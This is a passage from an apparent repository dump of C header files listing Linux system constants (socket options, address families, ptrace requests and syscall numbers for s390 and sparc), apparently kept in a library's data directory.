SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FILE 0\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept4 364\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 278\n#define SYS_adjtimex 124\n#define SYS_afs_syscall 137\n#define SYS_alarm 27\n#define SYS_bdflush 134\n#define SYS_bind 361\n#define SYS_bpf 351\n#define SYS_brk 45\n#define SYS_capget 184\n#define SYS_capset 185\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 212\n#define SYS_chroot 61\n#define SYS_clock_adjtime 337\n#define SYS_clock_getres (254+7)\n#define SYS_clock_gettime (254+6)\n#define SYS_clock_nanosleep (254+8)\n#define SYS_clock_settime (254+5)\n#define SYS_clone 120\n#define SYS_clone3 435\n#define SYS_close 6\n#define SYS_connect 362\n#define SYS_copy_file_range 375\n#define SYS_creat 8\n#define SYS_create_module 127\n#define SYS_delete_module 129\n#define SYS_dup 41\n#define SYS_dup2 63\n#define SYS_dup3 326\n#define SYS_epoll_create 249\n#define SYS_epoll_create1 327\n#define SYS_epoll_ctl 250\n#define SYS_epoll_pwait 312\n#define SYS_epoll_wait 251\n#define SYS_eventfd 318\n#define SYS_eventfd2 323\n#define SYS_execve 11\n#define SYS_execveat 354\n#define SYS_exit 1\n#define SYS_exit_group 248\n#define SYS_faccessat 300\n#define SYS_fadvise64 253\n#define SYS_fallocate 314\n#define SYS_fanotify_init 332\n#define SYS_fanotify_mark 333\n#define SYS_fchdir 133\n#define SYS_fchmod 94\n#define SYS_fchmodat 299\n#define SYS_fchown 207\n#define SYS_fchownat 291\n#define SYS_fcntl 55\n#define SYS_fdatasync 148\n#define SYS_fgetxattr 229\n#define SYS_finit_module 344\n#define SYS_flistxattr 232\n#define SYS_flock 143\n#define SYS_fork 2\n#define SYS_fremovexattr 235\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 226\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 108\n#define SYS_fstatfs 100\n#define SYS_fstatfs64 266\n#define SYS_fsync 118\n#define SYS_ftruncate 93\n#define SYS_futex 238\n#define SYS_futimesat 292\n#define SYS_getcpu 311\n#define SYS_getcwd 183\n#define SYS_getdents 141\n#define SYS_getdents64 220\n#define SYS_getegid 202\n#define SYS_geteuid 201\n#define SYS_getgid 200\n#define SYS_getgroups 205\n#define SYS_getitimer 105\n#define SYS_get_kernel_syms 130\n#define SYS_get_mempolicy 269\n#define SYS_getpeername 368\n#define SYS_getpgid 132\n#define SYS_getpgrp 65\n#define SYS_getpid 20\n#define SYS_getpmsg 188\n#define SYS_getppid 64\n#define SYS_getpriority 96\n#define SYS_getrandom 349\n#define SYS_getresgid 211\n#define SYS_getresuid 209\n#define SYS_getrlimit 191\n#define SYS_get_robust_list 305\n#define SYS_getrusage 77\n#define SYS_getsid 147\n#define SYS_getsockname 367\n#define SYS_getsockopt 365\n#define SYS_gettid 236\n#define SYS_gettimeofday 78\n#define SYS_getuid 199\n#define SYS_getxattr 227\n#define SYS_idle 112\n#define SYS_init_module 128\n#define SYS_inotify_add_watch 285\n#define SYS_inotify_init 284\n#define SYS_inotify_init1 324\n#define SYS_inotify_rm_watch 286\n#define SYS_io_cancel 247\n#define SYS_ioctl 54\n#define SYS_io_destroy 244\n#define SYS_io_getevents 245\n#define SYS_io_pgetevents 382\n#define SYS_ioprio_get 283\n#define SYS_ioprio_set 282\n#define SYS_io_setup 243\n#define SYS_io_submit 246\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 117\n#define SYS_kcmp 343\n#define SYS_kexec_file_load 381\n#define SYS_kexec_load 277\n#define SYS_keyctl 280\n#define SYS_kill 37\n#define SYS_lchown 198\n#define SYS_lgetxattr 228\n#define SYS_link 9\n#define SYS_linkat 296\n#define SYS_listen 363\n#define SYS_listxattr 230\n#define SYS_llistxattr 231\n#define SYS_lookup_dcookie 110\n#define SYS_lremovexattr 234\n#define SYS_lseek 19\n#define SYS_lsetxattr 225\n#define SYS_lstat 107\n#define SYS_madvise 219\n#define SYS_mbind 268\n#define SYS_membarrier 356\n#define SYS_memfd_create 350\n#define SYS_migrate_pages 287\n#define SYS_mincore 218\n#define SYS_mkdir 39\n#define SYS_mkdirat 289\n#define SYS_mknod 14\n#define SYS_mknodat 290\n#define SYS_mlock 150\n#define SYS_mlock2 374\n#define SYS_mlockall 152\n#define SYS_mmap 90\n#define SYS_mount 21\n#define SYS_move_mount 429\n#define SYS_move_pages 310\n#define SYS_mprotect 125\n#define SYS_mq_getsetattr 276\n#define SYS_mq_notify 275\n#define SYS_mq_open 271\n#define SYS_mq_timedreceive 274\n#define SYS_mq_timedsend 273\n#define SYS_mq_unlink 272\n#define SYS_mremap 163\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 144\n#define SYS_munlock 151\n#define SYS_munlockall 153\n#define SYS_munmap 91\n#define SYS_name_to_handle_at 335\n#define SYS_nanosleep 162\n#define SYS_newfstatat 293\n#define SYS_nfsservctl 169\n#define SYS_nice 34\n#define SYS_open 5\n#define SYS_openat 288\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 336\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_perf_event_open 331\n#define SYS_personality 136\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 325\n#define SYS_pivot_root 217\n#define SYS_pkey_alloc 385\n#define SYS_pkey_free 386\n#define SYS_pkey_mprotect 384\n#define SYS_poll 168\n#define SYS_ppoll 302\n#define SYS_prctl 172\n#define SYS_pread64 180\n#define SYS_preadv 328\n#define SYS_preadv2 376\n#define SYS_prlimit64 334\n#define SYS_process_vm_readv 340\n#define SYS_process_vm_writev 341\n#define SYS_pselect6 301\n#define SYS_ptrace 26\n#define SYS_putpmsg 189\n#define SYS_pwrite64 181\n#define SYS_pwritev 329\n#define SYS_pwritev2 377\n#define SYS_query_module 167\n#define SYS_quotactl 131\n#define SYS_read 3\n#define SYS_readahead 222\n#define SYS_readdir 89\n#define SYS_readlink 85\n#define SYS_readlinkat 298\n#define SYS_readv 145\n#define SYS_reboot 88\n#define SYS_recvfrom 371\n#define SYS_recvmmsg 357\n#define SYS_recvmsg 372\n#define SYS_remap_file_pages 267\n#define SYS_removexattr 233\n#define SYS_rename 38\n#define SYS_renameat 295\n#define SYS_renameat2 347\n#define SYS_request_key 279\n#define SYS_restart_syscall 7\n#define SYS_rmdir 40\n#define SYS_rseq 383\n#define SYS_rt_sigaction 174\n#define SYS_rt_sigpending 176\n#define SYS_rt_sigprocmask 175\n#define SYS_rt_sigqueueinfo 178\n#define SYS_rt_sigreturn 173\n#define SYS_rt_sigsuspend 179\n#define SYS_rt_sigtimedwait 177\n#define SYS_rt_tgsigqueueinfo 330\n#define SYS_s390_guarded_storage 378\n#define SYS_s390_pci_mmio_read 353\n#define SYS_s390_pci_mmio_write 352\n#define SYS_s390_runtime_instr 342\n#define SYS_s390_sthyi 380\n#define SYS_sched_getaffinity 240\n#define SYS_sched_getattr 346\n#define SYS_sched_getparam 155\n#define SYS_sched_get_priority_max 159\n#define SYS_sched_get_priority_min 160\n#define SYS_sched_getscheduler 157\n#define SYS_sched_rr_get_interval 161\n#define SYS_sched_setaffinity 239\n#define SYS_sched_setattr 345\n#define SYS_sched_setparam 154\n#define SYS_sched_setscheduler 156\n#define SYS_sched_yield 158\n#define SYS_seccomp 348\n#define SYS_select 142\n#define SYS_semctl 394\n#define SYS_semget 393\n#define SYS_semtimedop 392\n#define SYS_sendfile 187\n#define SYS_sendmmsg 358\n#define SYS_sendmsg 370\n#define SYS_sendto 369\n#define SYS_setdomainname 121\n#define SYS_setfsgid 216\n#define SYS_setfsuid 215\n#define SYS_setgid 214\n#define SYS_setgroups 206\n#define SYS_sethostname 74\n#define SYS_setitimer 104\n#define SYS_set_mempolicy 270\n#define SYS_setns 339\n#define SYS_setpgid 57\n#define SYS_setpriority 97\n#define SYS_setregid 204\n#define SYS_setresgid 210\n#define SYS_setresuid 208\n#define SYS_setreuid 203\n#define SYS_setrlimit 75\n#define SYS_set_robust_list 304\n#define SYS_setsid 66\n#define SYS_setsockopt 366\n#define SYS_set_tid_address 252\n#define SYS_settimeofday 79\n#define SYS_setuid 213\n#define SYS_setxattr 224\n#define SYS_shmat 397\n#define SYS_shmctl 396\n#define SYS_shmdt 398\n#define SYS_shmget 395\n#define SYS_shutdown 373\n#define SYS_sigaction 67\n#define SYS_sigaltstack 186\n#define SYS_signal 48\n#define SYS_signalfd 316\n#define SYS_signalfd4 322\n#define SYS_sigpending 73\n#define SYS_sigprocmask 126\n#define SYS_sigreturn 119\n#define SYS_sigsuspend 72\n#define SYS_socket 359\n#define SYS_socketcall 102\n#define SYS_socketpair 360\n#define SYS_splice 306\n#define SYS_stat 106\n#define SYS_statfs 99\n#define SYS_statfs64 265\n#define SYS_statx 379\n#define SYS_swapoff 115\n#define SYS_swapon 87\n#define SYS_symlink 83\n#define SYS_symlinkat 297\n#define SYS_sync 36\n#define SYS_sync_file_range 307\n#define SYS_syncfs 338\n#define SYS__sysctl 149\n#define SYS_sysfs 135\n#define SYS_sysinfo 116\n#define SYS_syslog 103\n#define SYS_tee 308\n#define SYS_tgkill 241\n#define SYS_timer_create 254\n#define SYS_timer_delete (254+4)\n#define SYS_timerfd 317\n#define SYS_timerfd_create 319\n#define SYS_timerfd_gettime 321\n#define SYS_timerfd_settime 320\n#define SYS_timer_getoverrun (254+3)\n#define SYS_timer_gettime (254+2)\n#define SYS_timer_settime (254+1)\n#define SYS_times 43\n#define SYS_tkill 237\n#define SYS_truncate 92\n#define SYS_umask 60\n#define SYS_umount 22\n#define SYS_umount2 52\n#define SYS_uname 122\n#define SYS_unlink 10\n#define SYS_unlinkat 294\n#define SYS_unshare 303\n#define SYS_uselib 86\n#define SYS_userfaultfd 355\n#define SYS_ustat 62\n#define SYS_utime 30\n#define SYS_utimensat 315\n#define SYS_utimes 313\n#define SYS_vfork 190\n#define SYS_vhangup 111\n#define SYS_vmsplice 309\n#define SYS_wait4 114\n#define SYS_waitid 281\n#define SYS_write 4\n#define SYS_writev 146\n"
  },
  {
    "path": "pwnlib/data/includes/linux/sparc.h",
    "content": "#define __NR_exit 1\n#define __NR_fork 2\n#define __NR_read 3\n#define __NR_write 4\n#define __NR_open 5\n#define __NR_close 6\n#define __NR_wait4 7\n#define __NR_creat 8\n#define __NR_link 9\n#define __NR_unlink 10\n#define __NR_execv 11\n#define __NR_chdir 12\n#define __NR_chown 13\n#define __NR_mknod 14\n#define __NR_chmod 15\n#define __NR_lchown 16\n#define __NR_brk 17\n#define __NR_perfctr 18\n#define __NR_lseek 19\n#define __NR_getpid 20\n#define __NR_capget 21\n#define __NR_capset 22\n#define __NR_setuid 23\n#define __NR_getuid 24\n#define __NR_ptrace 26\n#define __NR_alarm 27\n#define __NR_sigaltstack 28\n#define __NR_pause 29\n#define __NR_utime 30\n#define __NR_lchown32 31\n#define __NR_fchown32 32\n#define __NR_access 33\n#define __NR_nice 34\n#define __NR_chown32 35\n#define __NR_sync 36\n#define __NR_kill 37\n#define __NR_stat 38\n#define __NR_sendfile 39\n#define __NR_lstat 40\n#define __NR_dup 41\n#define __NR_pipe 42\n#define __NR_times 43\n#define __NR_getuid32 44\n#define __NR_umount2 45\n#define __NR_setgid 46\n#define __NR_getgid 47\n#define __NR_signal 48\n#define __NR_geteuid 49\n#define __NR_getegid 50\n#define __NR_acct 51\n#define __NR_getgid32 53\n#define __NR_ioctl 54\n#define __NR_reboot 55\n#define __NR_mmap2 56\n#define __NR_symlink 57\n#define __NR_readlink 58\n#define __NR_execve 59\n#define __NR_umask 60\n#define __NR_chroot 61\n#define __NR_fstat 62\n#define __NR_fstat64 63\n#define __NR_getpagesize 64\n#define __NR_msync 65\n#define __NR_vfork 66\n#define __NR_pread 67\n#define __NR_pwrite 68\n#define __NR_geteuid32 69\n#define __NR_getegid32 70\n#define __NR_mmap 71\n#define __NR_setreuid32 72\n#define __NR_munmap 73\n#define __NR_mprotect 74\n#define __NR_madvise 75\n#define __NR_vhangup 76\n#define __NR_truncate64 77\n#define __NR_mincore 78\n#define __NR_getgroups 79\n#define __NR_setgroups 80\n#define __NR_getpgrp 81\n#define __NR_setgroups32 82\n#define __NR_setitimer 83\n#define __NR_ftruncate64 84\n#define __NR_swapon 85\n#define __NR_getitimer 86\n#define __NR_setuid32 87\n#define __NR_sethostname 88\n#define __NR_setgid32 89\n#define __NR_dup2 90\n#define __NR_setfsuid32 91\n#define __NR_fcntl 92\n#define __NR_select 93\n#define __NR_setfsgid32 94\n#define __NR_fsync 95\n#define __NR_setpriority 96\n#define __NR_socket 97\n#define __NR_connect 98\n#define __NR_accept 99\n#define __NR_getpriority 100\n#define __NR_rt_sigreturn 101\n#define __NR_rt_sigaction 102\n#define __NR_rt_sigprocmask 103\n#define __NR_rt_sigpending 104\n#define __NR_rt_sigtimedwait 105\n#define __NR_rt_sigqueueinfo 106\n#define __NR_rt_sigsuspend 107\n#define __NR_setresuid32 108\n#define __NR_getresuid32 109\n#define __NR_setresgid32 110\n#define __NR_getresgid32 111\n#define __NR_setregid32 112\n#define __NR_recvmsg 113\n#define __NR_sendmsg 114\n#define __NR_getgroups32 115\n#define __NR_gettimeofday 116\n#define __NR_getrusage 117\n#define __NR_getsockopt 118\n#define __NR_getcwd 119\n#define __NR_readv 120\n#define __NR_writev 121\n#define __NR_settimeofday 122\n#define __NR_fchown 123\n#define __NR_fchmod 124\n#define __NR_recvfrom 125\n#define __NR_setreuid 126\n#define __NR_setregid 127\n#define __NR_rename 128\n#define __NR_truncate 129\n#define __NR_ftruncate 130\n#define __NR_flock 131\n#define __NR_lstat64 132\n#define __NR_sendto 133\n#define __NR_shutdown 134\n#define __NR_socketpair 135\n#define __NR_mkdir 136\n#define __NR_rmdir 137\n#define __NR_utimes 138\n#define __NR_stat64 139\n#define __NR_sendfile64 140\n#define __NR_getpeername 141\n#define __NR_futex 142\n#define __NR_gettid 143\n#define __NR_getrlimit 144\n#define __NR_setrlimit 145\n#define __NR_pivot_root 146\n#define __NR_prctl 147\n#define __NR_pciconfig_read 148\n#define __NR_pciconfig_write 149\n#define __NR_getsockname 150\n#define __NR_poll 153\n#define __NR_getdents64 154\n#define __NR_fcntl64 155\n#define __NR_statfs 157\n#define __NR_fstatfs 158\n#define __NR_umount 159\n#define __NR_sched_set_affinity 160\n#define __NR_sched_get_affinity 161\n#define __NR_getdomainname 162\n#define __NR_setdomainname 163\n#define __NR_quotactl 165\n#define __NR_set_tid_address 166\n#define __NR_mount 167\n#define __NR_ustat 168\n#define __NR_setxattr 169\n#define __NR_lsetxattr 170\n#define __NR_fsetxattr 171\n#define __NR_getxattr 172\n#define __NR_lgetxattr 173\n#define __NR_getdents 174\n#define __NR_setsid 175\n#define __NR_fchdir 176\n#define __NR_fgetxattr 177\n#define __NR_listxattr 178\n#define __NR_llistxattr 179\n#define __NR_flistxattr 180\n#define __NR_removexattr 181\n#define __NR_lremovexattr 182\n#define __NR_sigpending 183\n#define __NR_query_module 184\n#define __NR_setpgid 185\n#define __NR_fremovexattr 186\n#define __NR_tkill 187\n#define __NR_exit_group 188\n#define __NR_uname 189\n#define __NR_init_module 190\n#define __NR_personality 191\n#define __NR_remap_file_pages 192\n#define __NR_epoll_create 193\n#define __NR_epoll_ctl 194\n#define __NR_epoll_wait 195\n#define __NR_getppid 197\n#define __NR_sigaction 198\n#define __NR_sgetmask 199\n#define __NR_ssetmask 200\n#define __NR_sigsuspend 201\n#define __NR_oldlstat 202\n#define __NR_uselib 203\n#define __NR_readdir 204\n#define __NR_readahead 205\n#define __NR_socketcall 206\n#define __NR_syslog 207\n#define __NR_lookup_dcookie 208\n#define __NR_fadvise64 209\n#define __NR_fadvise64_64 210\n#define __NR_tgkill 211\n#define __NR_waitpid 212\n#define __NR_swapoff 213\n#define __NR_sysinfo 214\n#define __NR_ipc 215\n#define __NR_sigreturn 216\n#define __NR_clone 217\n#define __NR_adjtimex 219\n#define __NR_sigprocmask 220\n#define __NR_create_module 221\n#define __NR_delete_module 222\n#define __NR_get_kernel_syms 223\n#define __NR_getpgid 224\n#define __NR_bdflush 225\n#define __NR_sysfs 226\n#define __NR_afs_syscall 227\n#define __NR_setfsuid 228\n#define __NR_setfsgid 229\n#define __NR__newselect 230\n#define __NR_time 231\n#define __NR_stime 233\n#define __NR_statfs64 234\n#define __NR_fstatfs64 235\n#define __NR__llseek 236\n#define __NR_mlock 237\n#define __NR_munlock 238\n#define __NR_mlockall 239\n#define __NR_munlockall 240\n#define __NR_sched_setparam 241\n#define __NR_sched_getparam 242\n#define __NR_sched_setscheduler 243\n#define __NR_sched_getscheduler 244\n#define __NR_sched_yield 245\n#define __NR_sched_get_priority_max 246\n#define __NR_sched_get_priority_min 247\n#define __NR_sched_rr_get_interval 248\n#define __NR_nanosleep 249\n#define __NR_mremap 250\n#define __NR__sysctl 251\n#define __NR_getsid 252\n#define __NR_fdatasync 253\n#define __NR_nfsservctl 254\n#define __NR_aplib 255\n#define __NR_clock_settime 256\n#define __NR_clock_gettime 257\n#define __NR_clock_getres 258\n#define __NR_clock_nanosleep 259\n#define __NR_sched_getaffinity 260\n#define __NR_sched_setaffinity 261\n#define __NR_timer_settime 262\n#define __NR_timer_gettime 263\n#define __NR_timer_getoverrun 264\n#define __NR_timer_delete 265\n#define __NR_timer_create 266\n#define __NR_io_setup 268\n#define __NR_io_destroy 269\n#define __NR_io_submit 